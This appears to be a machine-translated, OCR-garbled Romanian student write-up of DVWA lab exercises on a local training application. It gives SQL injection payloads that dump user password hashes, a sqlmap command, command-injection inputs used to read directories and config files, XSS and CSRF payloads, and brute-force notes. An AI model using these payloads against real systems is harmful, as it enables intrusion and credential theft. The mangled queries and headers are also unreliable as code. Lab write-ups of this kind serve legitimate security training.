Documente Academic
Documente Profesional
Documente Cultură
1. Care este utilizatorul activ al bazei de date? Notă: Utilizarea instrumentelor automate nu este
permisă pentru acest exercițiu.
ID-ul de supunere
ELECT utilizatorOl.null
utilizator:
ID: 1' AND -A
'A'='A' UNION SELECT user( )L, null -- A Prenume: admin Nume: admin
Am folosit sarcina utilă 1' AND 'A'='A' UNION SELECT user(), null în șirul de text, ca o diferență față
de ceea ce a fost folosit în videoclipul explicativ și a returnat utilizatorul activ în baza de date.
2. Ce sarcină utilă ați folosi pentru a prelua versiunea bazei de date? Notă: Utilizarea
instrumentelor automate nu este permisă pentru acest exercițiu.
3. Ce sarcină utilă ați folosi pentru a prelua numele bazei de date? Notă: Utilizarea instrumentelor
automate nu este permisă pentru acest exercițiu.
Mai întâi trimit o solicitare în URL (am folosit-o pe cea anterioară pe care o setasem deja) pentru a
o captura cu Burpsuite și a o trimite la repetitor.
cerere
J Raw J Params J Anteturi J Hex
OBȚINE
/dvwa-master/vulnerabilities/sqli/?id=1%27*20AND%20%27A%27=%27
A%27%20UNIONS20SELECT%20user()U,null%20--*20A&Submit=Trimite
HTTP/1.1
Gazdă: 127.0.0.1
Agent utilizator: Mozilla/5.0 (Xll; Linux x86_64; rv:52.0)
Gecko/20100101 Firefox/52.0
Accept:
text/html, application/xhtml+xml, application/xml ; q=0. 9,*/*; q=G.
8
Accept-Language: en-US,en:q=Q.5
Acceptare-Codificare: gzip. dezumfla
Cookie: securitate=low; PHPSESSID= 69vevt2nsncdhkln7hsm38mjkO
DNT: 1
Conexiune: aproape
Solicitări de upgrade-nesigure: 1
4. Ce sarcină utilă ați folosi pentru a lista toți utilizatorii (nume de utilizator) și parolele (hash-uri)
din baza de date? Notă: sarcina utilă nu poate depăși 70 de caractere și utilizarea instrumentelor
automate nu este permisă pentru acest exercițiu.
Pur și simplu, în repetor fac interogarea select first_name,parola de la utilizatori și îi listează pe toți
cu parolele lor respective.
/formă-
<pre>ID: 1' AND 'A'='A' UNION SELECT
first_name , parola de la utilizatori -- A«br /First name:
adminebr /Nume: admin«/preepreID: 1' AND 'A'='A' UNION
SELECTează prenumele H parola de la utilizatori -- A«br /Prenumele :
adminbr / Prenume:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Gordonebr /> Prenume:
e99a18c428cb38d5f 260853678922e03«/p re><pre> ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Hackebr /> Prenume:
8d3533d75ae2c3966d7e9d4fcc69216b</pre-spre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/Prenumele: Pablo«br /Numele:
0dI07d09f 5bbe40cade3de5c7le9e9b7</p re>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/ Prenume: Bobebr /- Prenume:
5f4dcc3b5aa765d61d8327deb882cf99</pre>epre>ID: 1' AND
'A'='A' UNION SELECT prenume , parola de la utilizatori -- A«br
/Prenumele: Student«br /Nume:
eb0al91797624dd3a48fa681d3061212«/pre- «/div
5. Ce sarcină/sarcini utile ați folosi pentru a determina prezența vulnerabilității? Descrieți procesul
de urmat.
Injectarea SQL (Blind) este puțin mai complexă decât injectarea sql, deoarece dacă există o eroare
în sarcina utilă, vă va întoarce la pagina goală, adică nu returnează niciun rezultat.
Cu Payload id=1 și 1=1 și 1=0 nu pot determina dacă există injecție de cod, deoarece returnează
condițiile adevărate și false. Cu sarcina utilă id=1' ȘI '1'='1 pot determina că există injectare a tipului
de text, deoarece returnează textul interogării și cu id=1' ȘI '1'='0 nu returnează aceasta. Cu aceste
date putem determina că există o injecție de cod de tip text.
- NIVEL MEDIU
6. Folosește un instrument pentru a exploata vulnerabilitatea și a enumera toți utilizatorii (nume
de utilizator) și parolele (hash) din baza de date. Ce instrucțiune ai folosit? Care a fost rezultatul
instrumentului?
Voi folosi SQLmap: -Conectez sqlmap cu URL-ul sql injection Blind, adaug cookie-ul și un PAYLOAD
true (executat anterior în dvwa) astfel încât să-mi arate bazele de date disponibile.
Eu
http://127.0.0
:~# sqlmap -u " . 1/DVWA-master/vulnerabilities/sqli blind/" - -cookie="security=medium; PHPSESSID=69vevt 2nsncdhkln7hsm38mj k0" - -
data= ,, id=l&Submit=Sublnit , ' -D dvwa -T utilizatori --columns
Scor final:
Od107de9f5bbe40cade3de5c7le9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
5f4dcc3b5aa765d61d8327deb8B2cf99
8d3533d75ae2c3966d7e0d4fcc69216b
e99al8c428cb38d5f260853678922e03 eb8al91797624dd3a48fa581d3861212
- NIVEL MEDIU
8. Ce sarcină utilă ați folosi pentru a cunoaște directorul curent din sistemul de fișiere?
La acest nivel simbolurile „&& și ;” au fost eliminate. stabilindu-le egale cu „”, nu le mai putem
folosi dar mai avem & si ||.
Sarcina utilă utilizată este:
127.0.0.1 &ls
Ajutor
index .php sursă PING 127.0.0.1 (127.0.0.1) 56(84) octeți de date. 64 octeți desde 127.0.0.1:
icmp_seq=1 ttl=64 timp=0,011 Mai mult
Baza de date: dvwa 3
Tabel: utilizatori 3
[6 intrări] 3
5f4dcc3b5aa765d61d8327deb882cf99 3
5f4dcc3b5aa765d61d8327deb8B2cf99 3
8d3533d75ae2c3966d7e0d4fcc69216b e99al8c428cb38d5f260853678922e03
eb8al91797624dd3a48fa581d3861212 3
9. Ce sarcină sau sarcini utile ați folosi pentru a găsi numele de utilizator și parola bazei de date?
Sugestie: ambele sunt stocate în fișierul „config.inc.php”.
127.0.0.1 &ls
127.0.0.1 & ls ../../ -Aici găsesc un folder numit config. O să văd ce e înăuntru.
10. Exploatează vulnerabilitatea pentru a crea un formular de conectare fals. Scrieți sarcina utilă
pe care ați folosit-o.
În interiorul casetei de text, introdu HTML pur pentru a crea o autentificare falsă:
<p>Autentificare</p><br>
- NIVEL MEDIU
11. Indică sarcina utilă pe care ați folosi-o pentru a deschide o fereastră pop-up.
În teorie, ar trebui să șterg etichetele complete de script și să le las pe cele separate și să fac
popup-ul, dar șterge totul, așa că am adăugat o fotografie care, când dau clic, omite pop-up-ul.
12. Indicați sarcina utilă pe care ați folosi-o pentru a include un cadru care include o pagină
externă care umple întregul ecran, ascunzând complet pagina DVWA.
<ScrIpt>window.location="http:www.google.es”</ScrIpT>
Am încercat să deschid un html și un Div verde care a ocupat toată lățimea și înălțimea ecranului,
dar nu s-a deschis.
13. Care este numele parametrului vulnerabil din formular? Include un exemplu de încărcare utilă
a modului de exploatare a vulnerabilității.
<ScrIpt>alerta('popup')</ScrIpT>
Parola va fi resetată la „parolă” și oricine a trimis e-mailul fals își va putea cunoaște acreditările.
- NIVEL MEDIU
15. Profitând de vulnerabilitatea „XSS (Stored)”, utilizați-o pentru a exploata CSRF și pentru a le
schimba parola contului oricărui utilizator care accesează pagina respectivă.
127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&C
hange=Modificare#
FORTA BRUTA
16. Indicați 3 instrumente pe care le puteți folosi pentru a efectua un atac cu forță brută
împotriva unui formular de conectare.
17. Folosind oricare dintre aceste instrumente, obțineți parola următorilor utilizatori. Pentru a
face acest lucru, deconectați-vă de la DVWA și atacați formularul de conectare al aplicației.
Includeți, de asemenea, comanda utilizată pentru a lansa instrumentul sau o descriere a modului în
care l-ați folosit:
Voi folosi Burp și pentru a economisi puțin timp, voi pune numele de utilizator și parola între semne
pentru a putea spune ce să pun în sarcina utilă 1 și 2 mai târziu. Pentru utilizatori, în sarcina 1 voi
pune cei 5 utilizatori pentru a obține permisul și în sarcina 2 voi pune o baterie de parole 6 dintre
care 5 sunt corecte pentru acești utilizatori.
Ca sinteză, nu este necesar să cunoașteți numele de utilizator și parola utilizatorului, pur și simplu
setând un cookie dvwaSession altul decât 0 pe care îl veți introduce.
- NIVEL MEDIU
Deci putem spune că cookie-ul care este generat are o valoare de timp.
- NIVEL INALT
6f4922f4556B161a8cdf4ad2299f6d23 lf0e3dad99908345f7439f8ffabdffc4
98fl3708210194c475687be6106a3b84 3c84398dffc4 3c84398dffc4 9
b6d767d2f8ed5d21a44b0eS886680cb9 37693cfc74S049e45dS7b8c7d8b9aacd
lfflde774005f8dal3f42943881c655f 02943881c655f 02683747dddfd373474
4e732ced3463d06de0ca9al5b6153677 8e296a067a37563370ded05f5a3bf3ec
33e75ff09dd601bbe69f351039152189 6ea9ablbaa0efb9el9094440c317e21b
34173cb38f07f89ddbebc2ac912 8303f cl6a533360cfad497533630494
64d3f0f495b6ab9dcf8d3b5c6e0b01
ALȚII
21. Există o funcționalitate ascunsă în aplicație, o puteți găsi? Includeți o captură de ecran
care arată noua funcționalitate încărcată în browserul web.
22. Descrieți ceea ce se face în următorul videoclip. Mergeți descriind pașii desfășurați,
notând în minut/secundă a videoclipului în care sunt desfășurați.
https://www.youtube.com/watch?v=40iLfdRwM8U
- 00:15 utilizatorul s-a conectat deja la web (id=2), schimbați id-ul în id=3 pentru a cunoaște
numele utilizatorului 3 și al utilizatorului 4
- 00:40 utilizatorul activ pune o condiție adevărată, astfel încât să nu afecteze interogarea și
returnează prima interogare care este id=4.
- 00:54 utilizatorul introduce o condiție falsă, astfel încât interogarea nu returnează niciun
rezultat.
- 1:15 utilizatorul introduce codul de sarcină util=4 sau 1=1, astfel încât listează toți utilizatorii
din baza de date.
- 1:43 utilizatorul deschide sqlmap introducând adresa URL vulnerabilă pentru a face o
injecție automată sql.
- 2:18 se face un DUMP pentru a descărca tot conținutul tabelului utilizatorilor. Pentru că
interogarea se face pe acel tabel de pe web.
23. Enumerați toate instrumentele pe care le-ați folosit pentru a efectua exercițiile și explicați
unde le-ați folosit